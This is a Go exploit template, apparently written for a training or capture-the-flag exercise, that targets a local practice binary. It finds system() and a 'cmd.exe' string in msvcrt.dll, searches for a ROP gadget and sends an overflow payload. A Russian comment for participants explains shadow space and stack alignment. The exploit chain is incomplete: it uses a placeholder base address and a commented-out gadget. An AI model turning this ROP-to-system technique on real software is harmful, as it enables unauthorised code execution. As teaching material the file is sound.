86 lines
3.2 KiB
Go
86 lines
3.2 KiB
Go
package main
|
|
|
|
import (
|
|
"bytes"
|
|
"fmt"
|
|
"log"
|
|
"winpwn"
|
|
)
|
|
|
|
func main() {
|
|
|
|
pe, err := winpwn.OpenPE("./bof_win.c.exe")
|
|
|
|
if err == nil {
|
|
defer pe.Close()
|
|
}
|
|
|
|
msvcrt, err := winpwn.OpenPE("C:\\Windows\\System32\\msvcrt.dll")
|
|
if err != nil {
|
|
log.Fatalf("Failed to open DLL: %v", err)
|
|
}
|
|
defer msvcrt.Close()
|
|
|
|
// 2. Ищем функцию system (аналог libc.symbols['system'])
|
|
systemRVA, err := msvcrt.GetProcAddress("system")
|
|
if err != nil {
|
|
log.Fatalf("system() not found")
|
|
}
|
|
log.Printf("[+] system() RVA: 0x%X", systemRVA)
|
|
|
|
// 3. Ищем строку "cmd.exe\x00" (аналог next(libc.search(b'cmd.exe\x00')))
|
|
cmdPattern := []byte("cmd.exe\x00")
|
|
cmdRVAs, err := msvcrt.SearchBytes(cmdPattern)
|
|
if err != nil {
|
|
log.Fatalf("String 'cmd.exe' not found")
|
|
}
|
|
log.Printf("[+] 'cmd.exe' RVA: 0x%X", cmdRVAs[0])
|
|
|
|
// ... Логика утечки (leak) базового адреса msvcrt.dll во время исполнения ...
|
|
var msvcrtBase uint64 = 0x7FF00000000 // Пример полученного адреса
|
|
|
|
// 4. Вычисляем абсолютные адреса для ROP-цепочки
|
|
systemAddr := msvcrtBase + systemRVA
|
|
cmdStringAddr := msvcrtBase + cmdRVAs[0]
|
|
|
|
log.Printf("[+] system() absolute address: 0x%X", systemAddr)
|
|
log.Printf("[+] 'cmd.exe' absolute address: 0x%X", cmdStringAddr)
|
|
|
|
//------------------------------------
|
|
rop, err := winpwn.NewROP("bof_win.c.exe") // native scanner, no rp++ needed
|
|
if err != nil {
|
|
log.Fatalf("rop init error : %v", err)
|
|
}
|
|
defer rop.Close()
|
|
|
|
popRcx, err := rop.Search("pop rcx ; ret")
|
|
if err != nil {
|
|
log.Fatalf("Gadget not found")
|
|
}
|
|
|
|
// Выводим первый найденный гаджет
|
|
fmt.Printf("[+] Found 'pop rcx; ret' at: 0x%X\n", popRcx[0].Address)
|
|
|
|
// Интеграция в пейлоад
|
|
// payload = append(payload, winpwn.P64(popRcx[0].Address)...)
|
|
|
|
payload := bytes.Repeat([]byte("a"), 128)
|
|
|
|
p, err := winpwn.Spawn("bof_win.c.exe")
|
|
if err != nil {
|
|
log.Fatalf("Spawn: %v", err)
|
|
}
|
|
|
|
if err := p.SendLineAfter([]byte("enter your data: \n"), payload); err != nil {
|
|
log.Fatalf("SendLineAfter: %v", err)
|
|
}
|
|
|
|
p.Interactive()
|
|
}
|
|
|
|
/*На что обратить внимание твоим участникам:
|
|
|
|
Shadow Space (Теневое пространство): В отличие от Linux, в Windows вызывающая функция обязана выделить 32 байта (4 слота по 8 байт) на стеке перед вызовом любой другой функции. Поскольку мы прыгаем прямо в пролог функции win(), она сама выделит себе место. Но если строить сложный ROP (вызов system напрямую через ROP), перед адресом system пришлось бы класть 32 байта мусора.
|
|
|
|
Stack Alignment: WinAPI (через которые работает system в недрах msvcrt.dll) используют инструкции movaps, которые крашатся (выдают Access Violation), если стек не выровнен на 16 байт. Именно для этого в цепочку часто вклинивают один пустой ret. */
|